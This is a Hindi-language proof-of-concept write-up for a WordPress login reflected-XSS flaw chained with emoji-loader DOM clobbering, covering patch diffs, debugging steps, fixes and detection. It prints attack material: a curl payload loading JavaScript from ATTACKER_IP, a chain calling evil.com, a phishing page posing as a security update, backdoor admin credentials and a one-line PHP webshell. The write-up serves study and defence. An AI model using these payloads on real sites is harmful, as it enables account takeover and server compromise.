
CVE-2026-64638 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: वर्डप्रेस लॉगिन में रिफ्लेक्टेड XSS को DOM क्लोबरिंग के साथ जोड़कर एडमिन अकाउंट टेकओवर और रिमोट कोड निष्पादन प्राप्त करना।
सॉफ़्टवेयर: WordPress Core ≤ 7.0.2 (7.0.3 से पहले के सभी संस्करण)
CVSS: 8.9 (उच्च)
CWE: CWE-79 — वेब पेज निर्माण के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन
प्रमाणीकरण आवश्यक: कोई नहीं (Pre-Auth)
उपयोगकर्ता इंटरैक्शन: सक्रिय (एडमिन को 1 लिंक पर क्लिक करना आवश्यक है)
प्रभाव: XSS → खाता अधिग्रहण → रिमोट कोड निष्पादन
WordPress दुनिया की सबसे लोकप्रिय कंटेंट प्रबंधन प्रणाली है, जो इंटरनेट पर मौजूद 40% से अधिक वेबसाइटों का प्रतिनिधित्व करती है। हर WordPress साइट पर /wp-login.php पर एक लॉगिन पेज होता है — यह एक सार्वजनिक एंडपॉइंट है जिसे कोई भी बिना प्रमाणीकरण के एक्सेस कर सकता है।
जब कोई उपयोगकर्ता गलत उपयोगकर्ता नाम दर्ज करता है, तो WordPress एक त्रुटि संदेश प्रदर्शित करता है जिसमें उपयोगकर्ता द्वारा टाइप किया गया exact उपयोगकर्ता नाम होता है: “उपयोगकर्ता नाम X इस साइट पर पंजीकृत नहीं है।” समस्या इस तथ्य में निहित है कि उपयोगकर्ता नाम का मान बिना किसी escape फ़ंक्शन से गुज़ारे सीधे HTML प्रतिक्रिया में डाला जाता है — एक हमलावर को केवल वास्तविक उपयोगकर्ता नाम के बजाय HTML/JavaScript दर्ज करने की आवश्यकता होती है, और कोड ब्राउज़र में निष्पादित हो जाएगा।
यह एक Reflected XSS दोष है — पेलोड अनुरोध में निहित होता है और सर्वर द्वारा HTML में समान रूप से वापस परावर्तित किया जाता है। इसे खतरनाक बनाने वाली बात यह है कि यह दोष लॉगिन पेज पर स्थित है — एक ऐसा स्थान जहाँ एडमिन अक्सर आते हैं, जहाँ एडमिन के सत्र कुकीज़ चुराई जा सकती हैं।
शोध टीम ने आगे यह भी पता लगाया कि इस XSS को WordPress के emoji-loader में मौजूद DOM clobbering भेद्यता के साथ जोड़ा जा सकता है, जिससे JavaScript को बाहरी सर्वर से लोड किया जा सकता है। वहाँ से, एक हमलावर एक नया एडमिन खाता बना सकता है → webshell युक्त प्लगइन इंस्टॉल कर सकता है → सर्वर पर PHP कोड निष्पादित कर सकता है। इस शोषण श्रृंखला को XSS2Shell कहा जाता है।
WordPress हर पेज (लॉगिन पेज सहित) पर emoji-loader.js फ़ाइल के माध्यम से emoji समर्थन लोड करता है। यह स्क्रिप्ट id="wp-emoji-settings" वाले एलिमेंट से कॉन्फ़िगरेशन पढ़ती है:
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() DOM में मिलान वाले id वाला पहला एलिमेंट लौटाता है। यदि कोई हमलावर मूल script टैग से पहले <div id="wp-emoji-settings"> इंजेक्ट करता है, तो getElementById वास्तविक कॉन्फ़िगरेशन के बजाय हमलावर की सामग्री पढ़ेगा। इस तकनीक को DOM clobbering कहा जाता है — HTML एलिमेंट इंजेक्ट करके JavaScript व्यवहार को अधिलेखित करना।
emoji कॉन्फ़िगरेशन में JavaScript फ़ाइल (concatemoji) लोड करने के लिए एक URL होता है। हमलावर इस URL को नियंत्रित करता है → बाहरी सर्वर से एक JS फ़ाइल लोड होती है → ब्राउज़र संदर्भ में मनमाना कोड निष्पादित होता है।
एक बार एडमिन संदर्भ में JavaScript निष्पादन प्राप्त हो जाने पर, हमलावर के पास पूर्ण WordPress एडमिन विशेषाधिकार होते हैं:
/wp-admin/user-new.php को कॉल करें/wp-admin/plugin-install.php के माध्यम से प्लगइन अपलोड करेंउपरोक्त 3 विधियों में से कोई भी सर्वर पर PHP कोड निष्पादन की अनुमति देती है — अर्थात RCE।
wordpress-develop पर फिक्स कमिट 0d6d42e से, मैंने wp-includes/user.php फ़ाइल में 3 स्थानों की पहचान की जहाँ उपयोगकर्ता नाम/ईमेल सीधे त्रुटि संदेश में डाला जाता है:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
स्थान 1 — पंक्ति 189 (उपयोगकर्ता नाम मौजूद नहीं है):
पहले :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

बाद में :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
स्थान 2 — पंक्ति 216 (गलत पासवर्ड):
पहले :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
बाद में :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
स्थान 3 — पंक्ति 299 (ईमेल के लिए गलत पासवर्ड):
पहले :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
बाद में :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
POST अनुरोध से त्रुटि संदेश तक डेटा प्रवाह:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
उपयोगकर्ता नाम HTML तक पहुँचने से पहले WordPress में 2 फ़िल्टरिंग परतें होती हैं:
परत 1: sanitize_user() — HTML टैग हटाने के लिए strip_tags() को कॉल करता है। हालाँकि, PHP के strip_tags() की ज्ञात सीमाएँ हैं: गैर-मानक टैग फ़ॉर्मेटिंग फ़िल्टर को बायपास कर सकती है।
परत 2: wp_kses_post() — HTML के एक सुरक्षित उपसमुच्चय को अनुमति देता है, जिसमें कुछ विशेषताओं (attributes) के साथ <div>, <a>, `` शामिल हैं (लेकिन onerror, onload जैसे इवेंट हैंडलर हटा देता है)। महत्वपूर्ण बात: wp_kses_post <div id="wp-emoji-settings"> को अनुमति देता है — वही एलिमेंट जो DOM clobbering के लिए आवश्यक है।
pwn.ai टीम ने एक उपयोगी पेलोड इंजेक्ट करने के लिए दोनों परतों को बायपास करने का एक तरीका खोजा। विशिष्ट तकनीकी विवरण सार्वजनिक रूप से जारी नहीं किए गए हैं।
यह देखने के लिए कि उपयोगकर्ता नाम बिना escaping के सीधे HTML में जाता है, मैंने निष्पादन श्रृंखला के प्रमुख बिंदुओं पर ब्रेकपॉइंट लगाने के लिए Xdebug + VS Code का उपयोग किया।
चरण 1 — लॉगिन फ़ॉर्म में XSS पेलोड दर्ज करें:
http://localhost:8282/wp-login.php तक पहुँचें, उपयोगकर्ता नाम के रूप में `` दर्ज करें और फिर Log In पर क्लिक करें। एक अलर्ट पॉपअप दिखाई देता है — XSS काम करता है।


चरण 2 — user.php:184 पर ब्रेकपॉइंट — जहाँ XSS होता है:
wp_authenticate_username_password() फ़ंक्शन के अंदर return new WP_Error(...) पर ब्रेकपॉइंट सेट करें। जब डिबगर रुकता है, तो निरीक्षण करें:
$username = "" — बरकरार HTML पेलोड, escaped नहीं$_POST: log = "" — पुष्टि करता है कि पेलोड फ़ॉर्म इनपुट से उत्पन्न होता हैwp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
$username का मान $_POST['log'] → wp_unslash() → (sanitize_user को बायपास करते हुए) → पंक्ति 186-189 पर त्रुटि संदेश में sprintf() तक जाता है — बीच में कोई esc_html() नहीं। प्रयोगशाला में, pwn.ai द्वारा खोजे गए बायपास का अनुकरण करने के लिए sanitize_user() को कमेंट कर दिया गया था।
चरण 3 — functions.php:9200 पर ब्रेकपॉइंट — अंतिम आउटपुट:
echo wp_get_admin_notice( $message, $args ) पर ब्रेकपॉइंट सेट करें — ब्राउज़र पर HTML आउटपुट होने से पहले यह अंतिम पंक्ति है:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — पेलोड HTML त्रुटि संदेश के अंदर बरकरार रहता हैwp_kses_post() का आवरण नहीं है (बायपास का अनुकरण करने के लिए पैच किया गया), इसलिए पेलोड सीधे ब्राउज़र में जाता है
मूल WordPress में, यह पंक्ति echo wp_kses_post( wp_get_admin_notice(...) ) है — wp_kses_post() onerror विशेषता को हटा देगा लेकिन <div id="wp-emoji-settings"> को अनुमति देगा क्योंकि <div> अनुमत सूची (allowlist) में है। यह DOM clobbering हमले का सटीक वेक्टर है।
कमिट a12c8f5 DOM clobbering को रोकने के लिए emoji-loader.js को संशोधित करता है:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
फिक्स 3 चीज़ें बदलता है:
getElementById के बजाय querySelector('script#...') का उपयोग करता है — केवल <script> टैग से मेल खाता हैinstanceof HTMLScriptElement की जाँच करता है — <div> या `` के माध्यम से DOM clobbering को रोकता है.textContent के बजाय .text का उपयोग करता है — .text HTMLScriptElement का एक विशिष्ट गुण हैफिक्स के बाद, भले ही कोई हमलावर <div id="wp-emoji-settings"> इंजेक्ट करने में सफल हो जाए, emoji-loader इसे अनदेखा कर देगा क्योंकि यह <script> एलिमेंट नहीं है।
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
http://localhost:8282/wp-login.php तक पहुँचें, दर्ज करें:
Log In पर क्लिक करें। यदि “localhost” दिखाने वाला अलर्ट पॉपअप दिखाई देता है → XSS काम करता है।
परिणाम — पेलोड HTML में बरकरार रूप से परावर्तित:

अधिक जटिल पेलोड — हमलावर की JS फ़ाइल की ओर इशारा करते JSON युक्त id="wp-emoji-settings" वाला <div> इंजेक्ट करें:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
यदि HTML आउटपुट में हमलावर के JSON के साथ <div id="wp-emoji-settings"> मौजूद है → emoji-loader हमलावर सर्वर से JS लोड करेगा।
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
स्क्रिप्ट exploit.py 2 चीज़ें प्रदान करती है:
http://127.0.0.1:9999/phish.html — WordPress Security Update का रूप धारण करने वाला फ़िशिंग पेजhttp://127.0.0.1:9999/evil.js — बैकडोर एडमिन खाता बनाने वाला JS पेलोडहमलावर ईमेल/चैट के माध्यम से एडमिन को लिंक http://127.0.0.1:9999/phish.html भेजता है। जब एडमिन क्लिक करता है:
/wp-login.php पर स्वतः POST करता है<div id="wp-emoji-settings"> HTML में दिखाई देता हैemoji-loader.js नकली div पढ़ता है → हमलावर सर्वर से evil.js लोड करता हैevil.js एडमिन ब्राउज़र में चलता है → nonce प्राप्त करने के लिए /wp-admin/user-new.php को fetch करता है → खाता backdoor_xss2shell / Pwn3d!XSS2Shell बनाता है
पूरी प्रक्रिया स्वचालित रूप से होती है; एडमिन को केवल सामान्य लॉगिन पेज दिखाई देता है जिसमें "username not found" त्रुटि होती है।
प्रयोगशाला में, एडमिन पहले से ही admin / admin123 से लॉगिन था इसलिए evil.js तुरंत चल गया। खाते तक पहुँच प्राप्त करने के बाद, मैंने तुरंत प्लगइन के माध्यम से एक webshell अपलोड किया:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


आउटपुट ने www-data लौटाया — हमलावर के पास अब सर्वर पर कमांड निष्पादन विशेषाधिकार हैं।
/wp-login.php एंडपॉइंट हमेशा सार्वजनिक रहता है और इसे छिपाया नहीं जा सकता (जब तक कि लॉगिन URL बदलने के लिए प्लगइन्स का उपयोग न किया जाए)HttpOnly सही ढंग से सेट नहीं है) या क्रेडेंशियल्स की फ़िशिंग करने की अनुमति देता हैफिक्स 1 — आउटपुट escape करें (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
फिक्स 2 — emoji-loader को सुदृढ़ करें (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
फिक्स 3 — URL escape करें (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
log पैरामीटर में HTML पेलोड के साथ /wp-login.php पर POST अनुरोध देखेंsanitize_user() उपयोगकर्ता नामों को सामान्य करने के लिए डिज़ाइन किया गया है, XSS रोकने के लिए नहीं। Defense-in-depth: आउटपुट बिंदु पर escaping (esc_html, esc_attr, esc_url) अंतिम और सबसे महत्वपूर्ण सुरक्षा परत है।getElementById का उपयोग न करें। DOM clobbering समान id वाला नकली एलिमेंट इंजेक्ट कर सकती है। विशिष्ट टैग नाम + instanceof जाँच के साथ querySelector का उपयोग करें।wp_kses_post XSS फ़िल्टर नहीं है। यह पोस्ट सामग्री में सुरक्षित HTML की अनुमति देने के लिए डिज़ाइन किया गया है — अन्य संदर्भों में XSS रोकने के लिए नहीं। प्रत्येक संदर्भ के लिए उसका समर्पित escape फ़ंक्शन आवश्यक है।| विशेषता | मान |
|---|
| CVE ID | CVE-2026-64638 |
| CVSS स्कोर | 8.9 (उच्च) |
| सॉफ़्टवेयर | WordPress Core ≤ 7.0.2 |
| प्रमाणीकरण | कोई आवश्यकता नहीं (Pre-Auth) |
| उपयोगकर्ता इंटरैक्शन | 1 क्लिक आवश्यक (एडमिन लिंक पर क्लिक करता है) |
| हमला जटिलता | उच्च |
| पैच किया गया | WordPress 7.0.3 (08/06/2026) |
| रिपोर्टकर्ता | pwn.ai टीम, HackerOne के माध्यम से |
| HackerOne रिपोर्ट | #3877102 |
| CVSS मीट्रिक | मान | कारण |
|---|
| हमला वेक्टर | नेटवर्क | HTTP के माध्यम से, पीड़ित को लिंक भेजकर |
| हमला जटिलता | उच्च | sanitize_user() + wp_kses_post() का बायपास आवश्यक, पीड़ित का क्लिक आवश्यक |
| आवश्यक विशेषाधिकार | कोई नहीं | लॉगिन एंडपॉइंट को किसी प्रमाणीकरण की आवश्यकता नहीं |
| उपयोगकर्ता इंटरैक्शन | सक्रिय | एडमिन को फ़िशिंग लिंक पर क्लिक करना होगा |
| गोपनीयता | उच्च | कुकीज़, सत्र, एडमिन पैनल सामग्री पढ़ना |
| अखंडता | उच्च | एडमिन खाता बनाना, प्लगइन इंस्टॉल करना, फ़ाइलें संशोधित करना |
| उपलब्धता | उच्च | RCE → पूर्ण सर्वर नियंत्रण |